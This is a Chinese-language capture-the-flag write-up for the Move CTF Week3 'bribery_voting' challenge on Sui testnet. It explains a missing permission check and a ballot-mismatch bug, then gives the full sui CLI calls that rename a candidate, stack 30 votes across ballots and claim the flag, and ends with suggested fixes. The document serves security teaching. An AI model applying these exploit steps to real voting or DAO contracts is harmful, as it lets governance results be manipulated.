Move CTF Week3 Challenge 技术分析
概述
Move CTF 共学营由 HOH 水分子社区联合 Cyclens 及 Movebit 共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解 Web3 领域安全问题、提升在网络安全领域的实战能力。
详细信息请参考:https://platform.cyclens.tech/activity/1
本文分析 Move CTF Week3 挑战 - bribery_voting
,该挑战部署在 Sui 测试网上,主要考察开发者对权限与访问控制、逻辑漏洞与状态管理的理解。
挑战环境
- 合约地址:
0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8
- 部署交易:
5pbLFCnnBAUsDVx5CiwqB3MmLazE6kbNQWc73HxJNUAp
- Briber共享对象:
0xa2b7b27f00d3844784b6f53455b0cf5dc76cf2c9afd27e7df85ebda083c28d8e
- 网络: Sui 测试网
- GitHub ID:
cuidaquan
合约架构分析
核心模块
挑战合约包含四个核心模块:
- ballot: 投票票据管理模块
- candidate: 候选人管理模块
- briber: 贿赂者和Flag发放模块
- flag: Flag事件发放模块
关键数据结构
struct Ballot has key, store {
id: UID,
voted: VecMap<address, u64>,
has_voted: bool,
}
struct VoteRequest {
voting_power: u64,
voted: VecMap<address, u64>,
}
struct Candidate has key, store {
id: UID,
account: address,
total_votes: u64,
}
struct Briber has key {
id: UID,
given_list: VecSet<ID>,
}
解题条件
挑战的 get_flag
函数检查关键条件:给 @0xbad
地址的投票数 >= 21票
漏洞识别
1. 权限控制缺失漏洞
核心漏洞位于 candidate::amend_account
函数中:
public fun amend_account(
candiate: &mut Candidate,
account: address,
) {
candiate.account = account;
}
关键问题:
- 完全没有权限检查
- 任何人都可以修改任意候选人的账户地址
- 缺少调用者身份验证
2. 状态管理逻辑漏洞
核心漏洞位于 ballot::finish_voting
函数中:
public fun finish_voting(ballot: &mut Ballot, request: VoteRequest) {
let VoteRequest {
voting_power: _,
voted,
} = request;
let (candidates, votes) = voted.into_keys_values();
candidates.zip_do!(votes, |c, v| {
let ballot_voted = &mut ballot.voted;
let already_voted = ballot_voted.try_get(&c);
if (already_voted.is_some()) {
*ballot_voted.get_mut(&c) = already_voted.destroy_some() + v; // 累加逻辑
} else {
ballot_voted.insert(c, v);
}
});
}
关键问题:
- 没有检查 VoteRequest 与 Ballot 的对应关系
- 可以将任意 VoteRequest 提交给任意 Ballot
- 累加逻辑被恶意利用
漏洞成因
- 权限设计缺陷:
amend_account
函数缺乏基本的权限验证 - 状态管理不当: VoteRequest 与 Ballot 的关联关系未被验证
- 业务逻辑漏洞: 投票累积机制存在设计缺陷
攻击方法
漏洞利用策略
- 候选人身份篡改: 利用权限漏洞修改候选人账户为
@0xbad
- 跨Ballot投票攻击: 创建3个Ballot,从每个Ballot获取VoteRequest
- 状态管理绕过: 将所有VoteRequest都提交给第一个Ballot(目标Ballot)
- 投票累积利用: 在目标Ballot中累积30票(3×10票)给
@0xbad
- Flag获取: 超过21票要求并成功获取Flag
解题流程
步骤1: 获取共享对象
从部署交易中获取必要的共享对象:
# 查看部署交易详情
sui client tx-block 5pbLFCnnBAUsDVx5CiwqB3MmLazE6kbNQWc73HxJNUAp
获得的共享对象:
- Briber:
0xa2b7b27f00d3844784b6f53455b0cf5dc76cf2c9afd27e7df85ebda083c28d8e
步骤2: 创建候选人和Ballot对象
创建候选人共享对象和3个Ballot对象用于攻击:
# 创建候选人(共享对象)
sui client call --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 --module candidate --function register --gas-budget 10000000
# 获得候选人ID: 0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955
# 创建第一个ballot(目标ballot)
sui client call --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 --module ballot --function get_ballot --gas-budget 10000000
# 获得Ballot1 ID: 0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9
# 创建第二个ballot
sui client call --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 --module ballot --function get_ballot --gas-budget 10000000
# 获得Ballot2 ID: 0x8c0af640de0ae8d100f9895a51c46c09dfd43a4658445447038718c2fec2e2e9
# 创建第三个ballot
sui client call --package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 --module ballot --function get_ballot --gas-budget 10000000
# 获得Ballot3 ID: 0xfd9f6fa7228156fc4ac3c6d8bef732769dc27daaeb06eecb269f93e51851bc73
步骤3: 执行攻击
第一次攻击:权限漏洞利用 + 正常投票
sui client ptb \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::candidate::amend_account" \
"@0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955" \
"@0x0000000000000000000000000000000000000000000000000000000000000bad" \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::request_vote" \
"@0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9" --assign request1 \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::candidate::vote" \
"@0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955" request1 10 \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::finish_voting" \
"@0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9" request1 \
--gas-budget 50000000
# 交易哈希: d6XQkLV6Ufe2cM4CACAfxPmWQSpk7hCxKSt4wGZvWJx
第二次攻击:跨Ballot投票
sui client ptb \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::request_vote" \
"@0x8c0af640de0ae8d100f9895a51c46c09dfd43a4658445447038718c2fec2e2e9" --assign request2 \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::candidate::vote" \
"@0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955" request2 10 \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::finish_voting" \
"@0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9" request2 \
--gas-budget 50000000
# 交易哈希: 2cCAtuTzJ2ra34ACv28jEfuLRuKzepXxsKmg3n7uZMUv
第三次攻击:跨Ballot投票
sui client ptb \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::request_vote" \
"@0xfd9f6fa7228156fc4ac3c6d8bef732769dc27daaeb06eecb269f93e51851bc73" --assign request3 \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::candidate::vote" \
"@0x894c7893fa6707de65ee2b6e70ab251851660a4a0db7b2c468b2eacffc9f0955" request3 10 \
--move-call "0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8::ballot::finish_voting" \
"@0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9" request3 \
--gas-budget 50000000
# 交易哈希: 52nayxsPA3ypUYvvXhz8eF3Y3gskuaWFjcMMPAKrvLUY
第四步:获取Flag
sui client call \
--package 0x86acefc810c268817c80fb5d386125e607d80b1a193a9fb55c5d830360ac95e8 \
--module briber --function get_flag \
--args 0xa2b7b27f00d3844784b6f53455b0cf5dc76cf2c9afd27e7df85ebda083c28d8e \
0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9 \
"cuidaquan" \
--gas-budget 10000000
# 交易哈希: HJHy8271ZXhHRDipStHYzVFqXBcqPd5kQNmvRgeh74Zt
执行结果
步骤 | 交易哈希 | 结果 |
---|---|---|
权限漏洞利用+第一次投票 | d6XQkLV6Ufe2cM4CACAfxPmWQSpk7hCxKSt4wGZvWJx |
候选人账户修改为@0xbad,目标ballot获得10票 |
第二次跨Ballot攻击 | 2cCAtuTzJ2ra34ACv28jEfuLRuKzepXxsKmg3n7uZMUv |
目标ballot累积到20票 |
第三次跨Ballot攻击 | 52nayxsPA3ypUYvvXhz8eF3Y3gskuaWFjcMMPAKrvLUY |
目标ballot累积到30票 |
Flag获取 | HJHy8271ZXhHRDipStHYzVFqXBcqPd5kQNmvRgeh74Zt |
成功获取Flag |
攻击结果
项目 | 值 |
---|---|
Flag | 19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9 |
累积投票数 | 30票 |
目标地址 | @0xbad |
目标Ballot | 0x19dba48d36a02695d62d5f2059bd75071356c92cb7c6d16854e7522112e77ea9 |
攻击状态 | 成功 |
安全影响
直接影响
- 权限绕过: 攻击者可任意修改候选人身份信息
- 投票操控: 通过状态管理漏洞操控投票结果
- 系统完整性破坏: 投票系统的公正性完全失效
潜在风险
- 治理攻击: 类似漏洞可能影响DAO治理系统
- 选举操控: 真实投票系统可能被恶意操控
- 信任危机: 用户对系统安全性失去信心
修复建议
代码层面
-
权限验证增强:
public fun amend_account( candidate: &mut Candidate, account: address, ctx: &TxContext ) { assert!(candidate.account == tx_context::sender(ctx), E_UNAUTHORIZED); candidate.account = account; }
-
状态关联验证:
public fun finish_voting(ballot: &mut Ballot, request: VoteRequest) { assert!(request.ballot_id == object::id(ballot), E_BALLOT_MISMATCH); // 其他逻辑... }
-
投票权限制: 限制单个ballot的最大投票权累积
设计层面
- 最小权限原则: 严格限制关键函数的访问权限
- 状态一致性: 确保相关对象间的状态一致性
- 业务逻辑验证: 加强业务规则的验证机制
总结
Move CTF Week3 挑战揭示了权限控制和状态管理方面的重要安全问题。通过权限控制缺失和状态管理漏洞的组合攻击,攻击者能够完全绕过投票系统的安全机制。
版权声明
本文仅代表作者观点,不代表区块链技术网立场。
本文系作者授权本站发表,未经许可,不得转载。
发表评论:
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。